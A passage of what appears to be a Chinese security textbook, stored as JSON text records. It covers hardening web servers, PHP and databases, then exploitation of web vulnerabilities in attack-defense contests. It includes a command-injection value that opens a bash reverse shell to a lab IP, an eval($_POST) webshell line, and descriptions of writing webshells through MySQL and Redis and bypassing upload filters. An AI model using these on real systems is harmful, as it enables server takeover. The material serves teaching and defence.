    {"text": "CentOS系统可以通过修改/etc/httpd/conf目录下的httpd.conf配置文件，将Options Indexes FollowSymLinks修改为Options FollowSymLinks，便可以修复目录遍历安全问题。 通过修改apache2.conf配置文件实现修复目录遍历安全问题的命令如下，结果如图3-46b所示。 修改后的apache2.conf文件内容如下： 由图3-47a可知，此时使用的是Apache 2.4.41版本，为了避免泄露使用的Apache的版本信息，Ubuntu及Debian系统可以通过修改apache2.conf配置文件，CentOS系统可以通过修改httpd.conf配置文件，在配置文件的最后添加如下两条命令来隐藏Apache的版本信息。"},
    {"text": "▲图3-46 修复目录遍历安全问题 图3-47 修复Apache版本信息泄露问题 防止目标网站报错泄露敏感信息，除了隐藏必要的报错信息这种方法以外，还可以通过报错信息重定向的方式解决。 Ubuntu及Debian系统可以修改apache2.conf配置文件，CentOS系统可以修改httpd.conf配置文件，在配置文件的最后添加如下命令，当产生报错信息时重定向到404.html文件，隐藏敏感信息。"},
    {"text": "利用OPTIONS请求方式，对目标网站发起请求，根据目标网站的response信息，可以获取当前网站支持的请求方式，命令如下。 如图3-49所示，目标网站开启了WebDAV模块，支持OPTIONS、GET、POST、DELETE、MOVE等多种请求方式。"},
    {"text": "攻击者可利用扩展的请求方式，对目标网站进行文件上传、文件删除、文件修改等恶意操作。 ▲图3-48 修复页面报错导致信息泄露问题 图3-49 利用OPTIONS获取目标网站支持的请求方式 攻击者利用PUT请求方式，可对目标网站进行木马文件上传操作，最终获取目标网站的执行权限，命令如下，结果如图3-50所示。 图3-50 PUT请求方式上传文件 为防止目标网站具备不安全的请求方式，可以在配置文件中禁用webdav模块。"},
    {"text": "Ubuntu及Debian系统可以修改apache2.conf配置文件，CentOS系统可以修改httpd.conf配置文件，将Dav On更改为Dav off或者直接删除Dav这条语句，之后重启Apache 2服务。"},
    {"text": "图3-51 修复页面报错导致信息泄露问题 Apache在解析文件时支持多个文件后缀解析功能，如info.php.png，此时会从文件最后往前依次进行判别，遇到不能够识别的文件后缀时，便依次向前进行解析识别。 如果Apache存在多文件后缀解析安全问题，Apache会将该非法文件解析为PHP脚本语言。 Windows系统默认该文件为一张图片，但是在Apache中间件解析时，则认为该文件为PHP脚本语言，执行效果如图3-52所示。 当目标网站存在文件上传点时，白名单限制只能上传图片文件，则攻击者可将info.php.png图片文件上传到目标系统，如果此时目标系统存在Apache解析安全问题，则会将该文件解析为PHP脚本语言运行，进而给系统造成一定程度的安全隐患。 图3-52 Apache解析图片后缀文件 为修复Apache解析安全问题，可以通过在配置文件中加入多文件后缀解析限制来解决。 Ubuntu及Debian系统可以修改apache2.conf配置文件，CentOS系统可以修改httpd.conf配置文件，在对应的配置文件中加入如下限制条件语句，之后重启Apache 2服务，这样即使攻击者上传了类似info.php.png格式的文件，Apache也不会将它解析为PHP文件了，如图3-53所示。"},
    {"text": "图3-53 修复Apache解析问题 Apache拥有一个详尽的日志记录功能，用于检测服务器常见问题的详细信息，可以协助安全人员对事故进行排查和应急溯源。"},
    {"text": "错误日志主要用于存储诊断信息和处理请求中出现的报错，包括CGI错误、访问失效链接以及用户认证错误等，如图3-54所示； 访问日志用于记录服务器所处理访问活动，包括访问源IP地址、目的资源IP地址、访问路径及访问时间等，如图3-55所示。"},
    {"text": "通过修改Apache配置文件可设置生成的日志级别，Ubuntu及Debian系统可以修改apache2.conf配置文件，CentOS系统可以修改httpd.conf配置文件，修改对应的LogLevel值，一般默认为warn、notice级别。"},
    {"text": "▲图3-54 Apache错误日志 图3-55 Apache访问日志 3 . 3 . 2 N g i n x 中 间 件 安 全 加 固 Nginx是一款轻量级的Web服务器/反向代理服务器，具有占有内存少、并发能力强等特点。"},
    {"text": "通过访问目标网站，查看是否存在目录遍历安全问题，攻击者可利用该漏洞，下载及查看目标网站敏感数据、了解网站目录结构等信息，如图3-56a所示。"},
    {"text": "对于使用Nginx中间件的网站，Ubuntu和Debian系统可以修改/etc/nginx目录下的nginx.conf配置文件，CentOS系统可以修改/usr/local/nginx/conf目录下的nginx.conf配置文件，在配置文件中将sutoindex on修改为autoindex off，便可以修复目录遍历安全问题，通过修改nginx.conf实现修复目录遍历安全问题后，结果如图3-56b所示。 图3-56 修复目录遍历安全问题 由图3-57a可知，此时使用的是nginx/1.18.0（Ubuntu）版本，为了避免泄露使用的Nginx版本信息，Ubuntu及Debian系统可以修改nginx.conf配置文件，CentOS系统可以修改nginx.conf配置文件，在配置文件中将server_tokens on修改为server_tokens off。"},
    {"text": "当PHP遇到文件路径info.jpg/x.php，如果在php.ini配置文件中将cgi.fix_pathinfo参数设置为1，该参数用于修复路径，当前路径不存在，则采用上层路径，去掉最后的/x.php，然后系统会继续判断info.jpg是否存在，如果此时将fpm/pool.d/www.conf中的security.limit_extensions参数配置为空时，则会导致允许fastcgi将png、jpg等文件当做PHP代码解析。 当目标网站存在文件上传点时，白名单限制只能上传图片文件，则攻击者可将info.jpg图片文件上传到目标系统，如果此时目标系统存在Nginx解析安全问题，则会将info.jpg文件解析为PHP脚本语言运行，进而给系统造成一定程度的安全隐患。 ▲图3-57 修复Nginx信息泄露问题 图3-58 Nginx解析漏洞 为修复Nginx解析安全问题，可以在php.ini配置文件中注释cgi.fix_pathinfo=0所在行，用来关闭cgi.fix_pathinfo的修复路径功能。 在fpm/pool.d目录下的www.conf文件中的security.limit_extensions参数后面添加.php，仅允许fastcgi解析PHP文件类型，这样即使攻击者上传了类似info.jpg/x.php格式的文件，Nginx也不会将它解析为PHP文件了，如图3-59所示。"},
    {"text": "错误日志主要用于记录服务器和请求处理过程中的错误信息，如图3-60所示； 访问日志用于记录服务器所处理访问活动，如客户端IP、浏览器信息、请求处理时间、请求URL等，如图3-61所示。"},
    {"text": "Nginx的error.log日志级别可以分为debug、info、notice、warn、error和crit，可以通过修改配置文件内容定义日志级别，Ubuntu及Debian系统可以修改nginx.conf配置文件，CentOS系统可以修改nginx.conf配置文件，在配置文件中将“error_log /var/log/nginx/error.log ;”修改为“error_log /var/log/nginx/error.log notice;”，就可以将error.log日志级别设置为notice。"},
    {"text": "▲图3-60 查看错误日志信息 图3-61 查看访问日志信息 3 . 3 . 3 T o m c a t 中 间 件 安 全 加 固 Tomcat是一款免费开放源代码的Web应用服务器，属于轻量级应用服务器，在中小型系统和并发访问的场合下使用较为广泛，是开发和调试JSP程序的首选。 当使用Tomcat作为Web服务中间件时，如果不正当配置会存在很多安全隐患，如Tomcat Manager弱口令、PUT文件上传、远程代码执行、本地提权等。 Tomcat在允许远程登录Web应用程序管理程序时，攻击者可以通过BurpSuite抓包的方式猜解Web应用程序管理平台弱口令，一旦猜解口令成功后。"},
    {"text": "在JSP木马文件所在目录执行如下命令，用于生成包含木马的war包，并在Web应用程序管理后台上传部署，如图3-62所示，可以通过中国蚁剑连接远程的木马文件，获取远程目标主机的shell权限。 图3-62 远程连接木马文件 为避免Tomcat Manager远程弱口令猜解攻击，可以修改conf目录下的tomcat-users.xml配置文件的password字段，如图3-63所示，修改登录密码的复杂度，通常要求密码长度范围为8～16位，由字母大小写、数字、特殊字符组合而成。 还可以修改Tomcat配置文件，禁止远程主机的访问请求，即修改/webapps/manager/META-INF下的context.xml文件，配置如图3-64所示，只允许本地主机127.0.0.1地址的正常访问请求。 ▲图3-63 修改tomcat-users.xml配置文件 图3-64 修改context.xml文件 通过访问目标网站，查看是否存在目录遍历安全问题，攻击者可利用该漏洞，下载及查看目标网站敏感数据、了解网站目录结构等信息，如图3-65所示。 对于使用Tomcat中间件的网站，可以通过修改conf/web.xml配置文件，将listing值由false修改为true，便可以修复目录遍历安全问题，如图3-66所示。 ▲图3-65 Tomcat目录遍历漏洞 图3-66 修复Tomcat目录遍历漏洞 当Tomcat运行在Windows操作系统，并且启用了HTTP PUT请求方法时，攻击者便可以利用该漏洞向服务器上传JSP类型的木马文件，进而导致服务器上的数据泄露或服务器权限被获取。"},
    {"text": "图3-67 OPTIONS获取目标网站支持的请求方式 在Tomcat配置参数中，org.apache.jasper.servlet.JspServlet用于处理JSP、JSPX文件请求，默认不允许执行PUT请求方式，org.apache.catalina.servlets.DefaultServlet用于处理除JSP、JSPX之外的其他文件类型，所以目标服务即便存在PUT上传安全问题，也无法直接上传JSP、JSPX类型的文件，因为这些后缀的文件都是交由JspServlet处理的，它没法处理PUT请求。"},
    {"text": "图3-68 PUT请求方式文件上传 对于存在PUT文件上传安全漏洞的Tomcat中间件，可以通过修改web.xml配置文件，将readonly参数的值由false修改为true，便可以修复Tomcat PUT文件上传安全问题，如图3-69所示。 图3-69 修复Tomcat PUT文件上传 Tomcat同样具备详细的日志记录功能，关键时刻可以协助安全人员对事故进行排查和应急溯源。"},
    {"text": "图3-70 Tomcat访问日志 3 . 3 . 4 P H P 安 全 加 固 PHP（Hypertext Preprocessor，超文本预处理器）是在服务器端执行的一款脚本语言，PHP语法借鉴了C、Java、Perl等多种编程语言的风格，并根据不同编程语言的优点持续改进优化，同时支持面向对象和面向过程的开发，在开发使用上非常灵活。 当使用PHP语言作为Web服务端后端语言时，如果不正确配置会存在很多安全隐患，如远程文件包含漏洞、目录穿越等。 PHP文件包含是将被包含的文件以PHP语言进行解析执行，攻击者可以利用PHP文件包含漏洞的特点，将上传的图片、日志文件等其他文件格式的木马文件解析成PHP语言执行，进而可被攻击者获取远程主机的控制权限。"},
    {"text": "当在配置文件中设置allow_url_fopen为开启状态时，意味着开启了远程文件包含漏洞，此时攻击者可以利用该漏洞，通过包含并解析远程服务的木马文件，获取目标服务器的远程控制权限，如图3-71所示。 图3-71 远程文件包含利用 当目标服务运行的程序未对用户可控的变量进行输入检查，导致用户可以控制被包含的文件时，就意味着目标服务存在本地文件包含漏洞，此时攻击者可以利用上传的图片文件、生成的日志文件等其他文件格式的木马文件解析成PHP语言执行，进而获取目标服务的本地控制权限，如图3-72所示。 图3-72 本地文件包含利用 对于存在远程文件包含漏洞的PHP应用程序，可以通过修改配置文件php.ini，将参数allow_url_include的值由on修改为off，来修复PHP应用程序存在远程文件包含漏洞引起的安全问题，如图3-73所示。 图3-73 修复PHP远程文件包含漏洞 PHP语言中存在很多危险函数，例如：可以执行系统命令的函数，如system()、exec()、shell_exec等；"},
    {"text": "图3-74 PHP远程命令执行 对于存在命令执行或者文件读取等安全问题的应用程序，除了可以修改存在安全问题的代码这一方法以外，还可以通过修改配置文件php.ini，关闭一些已知危险函数，起到暂时规避风险和加固的效果。"},
    {"text": "如图3-75所示，将危险函数加入到disable_functions函数中，用于禁用PHP程序的危险函数。 图3-75 禁用PHP危险函数 为防止攻击者利用构造的程序读取系统的敏感数据，可以修改配置文件php.ini，限制PHP文件可读取文件的目录范围。"},
    {"text": "图3-76所示为限制PHP应用程序只允许读取/var/www/html目录下的文件内容。 图3-76 限制PHP应用程序读取文件范围 由图3-77可知，此时使用的是PHP/5.6.40版，系统运行在Ubuntu系统，由于程序没有隐藏报错信息，导致泄露了系统程序的绝对路径和变量信息等。 图3-77 PHP信息泄露 为防止泄露PHP版本信息和系统版本信息，可以修改配置文件php.ini，将expose_php参数设置为off，如图3-78所示。 为防止泄露系统的敏感信息，可以关闭PHP应用程序的报错信息，修改配置文件php.ini，将参数display_errors设置为off，如图3-79所示。 ▲图3-78 修复PHP版本信息泄露问题 图3-79 修复PHP信息报错"},
    {"text": "3.4 数据库安全加固 3 . 4 数 据 库 安 全 加 固 数据库是按照数据结构进行组织、存储和管理数据的仓库，是以一定组织方式存储在一起的相关的数据集合。"},
    {"text": "应用网站通常使用数据库存储网站数据、系统信息、用户信息等。 根据数据库存储数据的方式不同，可以分为关系型数据库和非关系型数据库。 常见的关系型数据库有Oracle、MySQL、Microsoft SQL Server等。 常见的非关系型数据库有NoSQL、Redis等。"},
    {"text": "数据库的不安全配置也会造成很严重的安全问题，如权限提升、未授权访问、信息窃取等，本节将介绍常见的两种类型数据库—关系型数据库MySQL和非关系型数据库Redis的安全加固。 3 . 4 . 1 M y S Q L 数 据 库 安 全 加 固 MySQL是目前较为流行的关系型数据库管理系统，其特点是体积小、速度快、维护成本较低。"},
    {"text": "但是MySQL的不安全配置，也会带来很多的安全隐患，如MySQL弱口令、数据库写WebShell、UDF提权等。 在MySQL数据库允许远程连接的情况下，攻击者可以利用弱口令检查工具，如Hydra等，对MySQL数据库进行弱口令暴力破解攻击，图3-80所示为通过Hydra远程暴力破解数据库口令，猜解出口令为root/root。 图3-80 Hydra远程暴力破解MySQL弱口令 为防止攻击者远程暴力破解MySQL数据库口令，对于站库分离的网站类型，可以通过设置白名单的方式禁止数据库被公开访问，若不是站库分离的网站类型，可以关闭MySQL远程连接方式，只允许本地localhost连接管理数据库，可以有效防止攻击者MySQL远程暴力破解攻击。 通过执行如下命令语句查询MySQL允许远程主机连接数据库情况，如果host字段为“%”表示该数据库允许远程主机连接，可以修改host字段为localhost，表示只允许本地主机连接到MySQL数据库，如图3-81所示。 图3-81 更改MySQL只允许本地主机连接 通过更改mysql/mysql.conf.d目录下的mysqld.cnf配置文件或mysql目录下的my.cnf配置文件，修改bind-address字段的值为127.0.0.0，使得远程主机探测不到MySQL数据库开放的TCP端口，MySQL默认运行在主机的3306端口，如图3-82所示。 图3-82 更改MySQL绑定本地IP地址 修改MySQL数据库用户的登录口令的复杂度，通常要求密码长度范围为8～16位，由字母大小写、数字、特殊字符组合而成。"},
    {"text": "当攻击者成功猜解到数据库登录口令或者目标网站存在SQL注入时，除了能够获取数据库存储的敏感数据以外，如果MySQL具备目标网站目录写权限，还可以向目标网站写入木马文件。"},
    {"text": "通过修改mysqld.cnf或my.cnf配置文件中的secure_file_priv参数的值可更改MySQL数据库写入文件功能： ●secure_file_priv为NULL时，表示禁止通过数据库将文件写入其他目录。"},
    {"text": "当攻击者获取到MySQL数据库的root权限，并能够通过口令进行远程登录的条件下，可以通过执行如下命令查询目标数据库是否具备写入文件功能，如图3-83所示。 数据库secure_file_priv的值为空，则表示目标MySQL数据库具备写入文件功能，可以向任意有权限的目录写入木马文件。 将一句话木马写入/var/www/html目录，并将木马文件命名为shell.php，如图3-84所示，执行后，如果数据库回应为OK，则表示成功写入目标目录，可以使用远程连接工具中国蚁剑进行远程连接，获取目标系统的远程控制权限。 ▲图3-83 查询目标数据库是否具备写入文件功能 图3-84 利用MySQL写入一句话木马文件 为防止攻击者通过MySQL向网站写入一句话木马，可以通过修改mysqld.cnf或my.cnf配置文件，将secure_file_priv参数设置NULL或者指定特定目录路径，来禁用或限制MySQL的导入与导出功能。 如果目标网站设置了secure_file_priv参数，限制了MySQL文件写入功能。 攻击者也可以修改MySQL的日志文件写入一句话木马，最后通过中国蚁剑远程连接后获取目标网站的WebShell，操作过程如图3-85所示。 图3-85 利用MySQL日志文件写入一句话木马文件 为防止攻击者通过修改MySQL日志文件的方式向网站写入一句话木马，可以利用禁用root用户远程连接的方式，使用降权后的普通用户权限进行连接，执行过程如图3-86所示。 图3-86 MySQL禁用root用户远程连接 MySQL拥有详尽的日志记录功能，通常包含4种日志类型：二进制日志、错误日志、通用查询日志和慢查询日志。 每种日志都有不同的功能，一般情况下使用通用查询日志来对攻击行为进行分析，如MySQL数据库口令猜解、SQL注入攻击、存储型XSS攻击、数据库写入木马文件、提升权限、窃取备份等。 可以通过如下语句查询MySQL数据库的日志开放情况、日志存储的位置和日志名称，执行过程如图3-87所示。 图3-87 查询MySQL通用查询日志存储路径 MySQL的日志文件默认是关闭的，可以使用set命令将general_log设置为on，语句如下，这样进行敏感操作的过程就会记录到日志中，执行过程如图3-88所示。 图3-88 开启MySQL通用查询日志记录功能 开启MySQL的通用查询日志后，就可以通过审计数据库日志对攻击行为进行分析了，图3-89所示为获取到了攻击者通过数据库向/var/www/html/目录写入一句话木马的操作。"},
    {"text": "Redis配置不当将会导致未授权访问漏洞，从而遭受攻击者恶意利用。 在特定条件下，如果Redis以root身份运行，黑客可以用root权限写入SSH公钥文件，通过SSH登录目标服务器，进而可导致服务器权限被获取、泄露或加密勒索等事件发生，严重危害业务正常服务。 通常，服务器上的Redis绑定在0.0.0.0:6379，如果没有开启认证功能，且没有采用相关的安全策略，比如添加防火墙规则避免其他非信任来源IP访问等，将会导致Redis服务直接暴露在公网上，造成其他用户直接在非授权情况下访问Redis服务。 通过手工进行未授权访问验证，在安装Redis服务的Kali系统中输入redis-cli-h ip，如果目标系统存在未授权访问漏洞，则可以成功进行连接。 输入info指令，可以查看Redis服务的版本号、配置文件目录、进程ID号等。 下面就Redis一些常用指令进行简单介绍。"},
    {"text": "执行语句如下，其中，dir用于指定生成rdb文件的路径，此处设置为/var/www/html，dbfilename用于修改持久化的文件名，此处命名为shell.php，通过set语句写入与一句话木马，最后通过save语句将内存中的数据以文件的形式保存到设置好的rdb路径。"},
    {"text": "图3-90 利用Redis未授权漏洞写一句话木马文件 为防止攻击者利用Redis未授权漏洞获取主机的远程控制权限，可以修改/etc/redis目录下的redis.conf配置文件，设置满足复杂度要求的requirepass值，此处设置为AnyWhereis5@20。 攻击者远程连接Redis数据库时需要输入正确的鉴权口令才能够获取到执行权限，执行过程如图3-91所示。 图3-91 增加redis鉴权机制 除了上述提到的增加鉴权口令以外，如果当前站库处于同一台主机时，也可以关闭Redis的远程连接，可以修改redis.conf配置文件，将bind字段设置为127.0.0.1::1。 此时攻击者就不能远程连接到Redis数据库了，执行过程如图3-92所示。 图3-92 redis绑定本地IP地址"},
    {"text": "第4章 Web常见漏洞及修复 第 4 章 W e b 常 见 漏 洞 及 修 复 目前，大多数Web应用都不是静态的网页浏览，而是涉及后端服务器的动态处理。如果开发者的安全意识不强，就会导致Web安全问题层出不穷。在AWD竞赛中，Web靶机是重中之重，AWD竞赛可能没有PWN靶机，但一定会有Web靶机。本章将从基本的Web漏洞原理出发，分别介绍AWD竞赛过程中涉及的靶场环境、CMS常见漏洞等，使读者深入了解AWD竞赛的考查内容和侧重点；还将介绍AWD竞赛中常考的5类We b通用型安全漏洞及原理，并与历年真实赛题相结合，使读者更容易理解和掌握。"},
    {"text": "4.1 常见Web环境及组件介绍 4 . 1 常 见 W e b 环 境 及 组 件 介 绍 AWD竞赛中常见的有3种类型的靶机，分别是PHP靶机、Python靶机、PWN靶机。 早期的AWD竞赛中基本都是PHP靶机，主办方会选取近期较为流行的开源PHP框架作为比赛靶机，这些框架版本不会太新，为防止审计难度过大，一般会带有公开未修补的漏洞； 主办方还会自己编写CMS网站，故意设置一些功能漏洞或者后门来作为比赛靶机使用，这一类的站点漏洞审计起来会比较直接，方便选手快速挖掘0day。 随着选手比赛水平的提高和PHP语言的没落，Python靶机逐渐在各类比赛中崭露头角，这类靶机多数使用jinja2模板引擎，具有模板注入漏洞和自身功能性漏洞。 4 . 1 . 1 常 见 的 开 源 C M S 主办方为了照顾多数选手，一般会选取版本较老的开源CMS，在原有漏洞基础上做些修改并添加后门函数，所以比赛前要提前将各类常用的CMS的漏洞做个整理，形成漏洞库，方便在比赛时查阅。"},
    {"text": "1 . B e e s C M S BeesCMS（Bees企业网站管理系统）是一套免费、开源的PHP+MySQL企业建站程序，内容模块易扩展，模板风格多样化，常见于企业网站、外贸网站、个人网站。 网站主页面如图4-1所示，常使用4.0版本，管理后台路径为beescms/admin/login.php，默认口令为admin/admin。"},
    {"text": "除此之外，还存在多处文件上传和变量覆盖漏洞，变量覆盖EXP示例如下： 图4-1 BeesCMS主页面 2 . E C S h o p C M S ECShopCMS是一套开源的电商商城系统，网站登录页面如图4-2所示，管理后台路径为ecshop/admin/privilege.php?act=login，此系统存在多版本通杀的远程代码执行漏洞。"},
    {"text": "▲图4-2 ECShopCMS登录页面 图4-3 代码执行利用效果 POC中间0x7b开头Hex编码的部分是要执行的PHP代码，读者可以自行修改代码来获得想要执行的动作。"},
    {"text": "图4-4 获取配置文件利用效果 3 . P H P C M S PHPCMS是一款早期国内比较知名的开源网站内容管理系统，采用PHP+MySQL技术开发，后台管理路径为/phpcms/index.php?m=admin&c=index&a=login&pc_hash=。"},
    {"text": "在安全竞赛中，PHPCMS任意文件上传漏洞也是主要的考点，该漏洞存在于用户注册的位置，如图4-5所示。 图4-5 PHPCMS用户注册页面 PHPCMS任意文件上传漏洞的POC示例代码如下： 上传的文件是没有返回信息的，这里需要分析源码，得知上传文件的命名规则是“时间（精确到秒）+3位随机数”的形式，所以需要爆破上传文件名，利用效果如图4-6所示。 图4-6 文件上传漏洞利用效果 4 . 1 . 2 P H P 站 点 除了开源CMS，在一些行业比赛或者省级比赛中经常能见到出题方篡改或利用一些如WordPress组件编写的小型CMS框架。"},
    {"text": "这些CMS代码量不大，实现的功能也较简单，主要考查选手的代码审计能力。 根据出题方水平，编写的CMS有的会比较贴合实际站点，漏洞多为逻辑漏洞和隐藏比较深的功能漏洞； 而有的简单粗糙，一些漏洞点一眼就能看出是出题方刻意制造的。"},
    {"text": "图4-7 靶机主站功能 在云主机管理的地方可以看到一个检测网络状况的按钮，就很容易联想这里是不是用了ping命令来执行的操作，找到关键代码如下，当单击“检测”按钮时，会将host的值带入exec()函数去执行，可以利用分隔符截断前面的ping命令并在后面加上想要执行的命令，那么我们在添加云主机host时，需要将IP写成127.0.0.1 | bash-i & /dev/tcp/192.168.164.129/2333 0&1，即可反弹shell，如图4-8所示。 图4-8 命令执行利用展示 添加完成后，单击“检测”按钮，exec()函数会变成exec（\"ping-c 1 127.0.0.1|bash-i&/dev/tcp/192.168.164.129/2333 0>&1\"），从而执行bash命令，反弹shell，如图4-9所示。"},
    {"text": "比赛中最常见也必有的漏洞就是服务端模板注入（Server-Side Template Injection, SSTI）漏洞，攻击者能够将恶意表达式写入模板文件，从而在模板内执行本机任意函数，赛题可能会有关键字限制。 在2019年某省线下AWD竞赛中的一个Python靶机就是用Flask框架编写的blog网站，里面就存在SSTI漏洞，漏洞代码如下。"},
    {"text": "图4-10 SSTI漏洞利用效果 注 意 ： 复现此漏洞时，在新版本Flask环境下，request.url的方式不能导致模板注入，因为最新版本的Flask会自动对request.url进行UrlEncode操作，所以可以将其改成request.args传参形式。"},
    {"text": "4.2 文件写入漏洞和文件上传漏洞 4 . 2 文 件 写 入 漏 洞 和 文 件 上 传 漏 洞 当我们想通过网站获取目标主机的shell权限时，最容易想到是通过文件写入或者文件上传的方式将恶意代码存放到服务器，这样就可以通过远程的WebShell管理工具对服务器进行远程控制。"},
    {"text": "下面具体分析一下文件写入和文件上传漏洞形成的原因，以及常出现的代码位置和具体的修复方法。 4 . 2 . 1 漏 洞 原 理 及 利 用 由于Web网站对用户写入、上传的文件缺乏权限限制或者文件类型的检验功能不全等，因此攻击者可以通过Web网站写入或上传恶意文件到服务器，从而导致服务器被攻击者远程控制。 文件写入和文件上传漏洞通常出现在网站的管理后台、网站的测试页面、未授权访问页面等部分。 1 . 文 件 写 入 漏 洞 成 因 及 利 用 方 式 当Web应用平台具有在线编辑文件功能，并且后端代码缺乏对编辑后的文件内容过滤和文件类型的校验功能时，就会导致文件写入漏洞产生。 攻击者可以利用该漏洞向网站写入恶意文件，进而获得主机的控制权限。 文件写入漏洞经常出现在模板备份、文本编辑、文件备份等功能点。"},
    {"text": "PHP文件写入的常见函数包括fopen()、fwrite()、fputs()、file_put_contents()等，在审计PHP代码时，可以通过搜索这些函数名的方式来定位可能存在文件写入漏洞的位置。"},
    {"text": "下面给出文件写入漏洞的案例代码，该代码通过HTTP的POST请求方式传递了两个参数tpl_name和tpl_content，将tpl_content变量中的内容写入tpl_name命名的文件中，并且该代码没有对写入内容和文件类型的有效校验，此时就形成了任意文件写入漏洞，执行过程如图4-12所示。 图4-12 任意文件写入漏洞利用 2 . 文 件 上 传 漏 洞 成 因 及 利 用 方 式 当Web应用平台具有文件上传功能时，如果应用程序对用户上传的文件无过滤功能或者过滤不够严格，将导致攻击者可以通过该漏洞上传木马文件，进而获得主机的控制权限。 文件上传漏洞通常出现在图片上传、办公文件上传、媒体上传等功能点。"},
    {"text": "PHP文件上传功能通常都会使用move_upload_file()函数，在审计PHP代码时，可以通过全局搜索该函数名的方式来定位需要审计的代码位置，审计文件上传代码部分是否存在限制或者过滤不严格的情况。"},
    {"text": "文件上传漏洞的产生也需要具备几个条件： 1）Web网站具有文件上传的功能。 2）上传的文件类型缺乏过滤功能或者过滤不严格，存在可绕过条件。"},
    {"text": "下面给出文件上传漏洞的案例代码，程序执行时首先通过file_exitsts()函数判断uploads文件夹是否存在，如果存在，则会通过$_FILES获取上传的文件名，然后将uploads与文件名进行字符串拼接组合成文件存储的路径，通过move_uploaded_file（file，newloc）函数将该文件存储到服务器指定的文件目录中。 通过上述分析，该代码没有对上传的文件进行过滤，从而存在任意文件上传漏洞，执行过程如图4-13所示。"},
    {"text": "图4-13 任意文件上传漏洞利用 （ 1 ） C o n t e n t - t y p e 校 验 绕 过 Content-type是HTTP协议请求数据包头部的一个字段，主要用于表示请求中的媒体类型。"},
    {"text": "代码如下所示，采用Content-type类型校验的方式，判断上传的文件类型是否为gif、png、jpg格式，如果不是代码中定义的文件类型，则该文件是不允许上传的。 但Content-type类型在客户端是可以被篡改的，攻击者通过修改Content-type字段，绕过后端的校验功能，达到任意文件上传的目的，执行过程如图4-14所示。 图4-14 Content-type校验绕过 （ 2 ） 黑 名 单 过 滤 不 严 格 绕 过 黑名单过滤不严格绕过通常是后端代码的正则表达式过滤方式不严格或者黑名单数组过滤不严格导致的，可以通过修改文件扩展名的方式绕过过滤限制。 代码如下所示，代码中定义了黑名单数组$deny_ext，对所需要上传的文件名进行大小转换、去除空格等处理后，赋值给了$file_ext变量，然后判断$file_ext是否属于黑名单数组$deny_ext中的元素，若不属于则将该文件进行上传，否则不允许上传。 很明显，该代码存在黑名单数组过滤不严格的绕过方式，因此我们可以通过上传扩展名为php2、php3、php5等的文件，绕过文件上传的过滤限制，执行过程如图4-15所示。 图4-15 黑名单过滤不严格绕过 （ 3 ） 文 件 头 过 滤 绕 过 每种文件类型都有特定的文件头格式，开发者可对上传的文件头格式进行校验，过滤掉不符合要求的文件类型。"},
    {"text": "代码如下所示，使用getimagesize()函数获取文件类型，并使用image_type_to_extension()函数获得对应文件格式，再通过stripos()函数判断该文件的扩展名是否为jpeg、png、gif。"},
    {"text": "使用copy命令生成一个带有图片头标识的图片木马，其中，a.jpg为一个正常的图片，b.txt为写有一句话木马的txt文件，shell.php为生成的木马文件，这样就可以绕过getimagesize()函数的检测，成功上传一句话木马文件，命令如下： （ 4 ） 文 件 截 断 % 0 0 绕 过 当PHP的版本低于5.3.4，且magic_quotes_gpc为off的状态时，%00字符将被程序识别为结束符，从而导致文件上传被截断，造成任意文件上传绕过。"},
    {"text": "如下代码所示，使用白名单数组进行校验，在进行move_uploaded_file前，利用$_GET['save_path']和随机时间函数拼接成文件存储路径，再利用GET传入构造文件存储路径，导致服务器存储的文件名可被攻击者控制。"},
    {"text": "$allow_type设定文件后缀白名单，然后判断获取的文件后缀$ext是否在白名单$allow_type中，如果在白名单中，则会将文件名和成功匹配的白名单后缀进行拼接，写入文件到服务器指定目录，如果不在白名单中，则会禁止文件写入。 修复代码如下： 文件上传漏洞的修复方式与文件写入漏洞相似，也是利用白名单的方式判断文件后缀类型，如果在白名单中，则会将文件名和成功匹配的白名单后缀进行拼接，进行文件上传，如果不在白名单中，则会禁止文件上传。"},
    {"text": "代码如下所示，通过fopen()函数打开固定模板文件，如果打开的模板文件存在，则会利用fwrite()函数将内容“{print @eval（$_POST['cmd']）/}”写入对应的模板文件中。"},
    {"text": "图4-17 文件写入木马文件 文件写入成功后，可以通过POST请求向/sitmap目录下的sitmap.php文件中传入参数，利用eval()函数将传输的字符串转换成PHP语言，执行过程如图4-18所示。"},
    {"text": "4.3 文件读取漏洞和文件包含漏洞 4 . 3 文 件 读 取 漏 洞 和 文 件 包 含 漏 洞 在线下AWD竞赛中，文件读取漏洞和文件包含漏洞是比较简单的初级漏洞，此类漏洞不需要过多的交互，在初期几轮的攻防战中，攻击队员可以利用此漏洞快速编写批量脚本进行刷分，是初期快速得分的手段之一。 下面来具体分析一下文件读取和文件包含漏洞形成的原因，以及常出现的代码位置和具体的修复方法。 4 . 3 . 1 漏 洞 原 理 及 利 用 文件读取和文件包含漏洞是指在加载、读取、预览和下载目标服务器上指定路径的文件时，攻击者篡改了其指定的路径，而程序设计人员又没有对其指定的路径进行校验检查，那么攻击者就可对非Web目录下的非开放文件内容进行执行、读取和下载等操作，从而造成执行非预期的程序和严重的信息泄露。"},
    {"text": "1 . 文 件 读 取 漏 洞 成 因 及 利 用 方 式 大多数网站都具有文件读取或文件下载的功能，实现方式一般是需要传输一个文件名参数（如filename）到后端，后端程序获取到这个文件路径后，拼接得到绝对路径值进行读取返回操作。 这里导致形成漏洞的主要原因是filename参数是用户可控的，本应该正常读取的文件没有经过校验或校验不严格，导致用户可以控制这个变量来读取任意文件。 常见的PHP文件读取函数有file_get_contents()、file()、fopen()、fread()、fgets()、show_source()、highlight_file()、read_file()，在审计PHP代码时，可以通过搜索这些函数名的方式来定位可能存在文件读取漏洞的位置。 我们通过下面这段代码来讲解文件读取漏洞的成因以及如何利用。"},
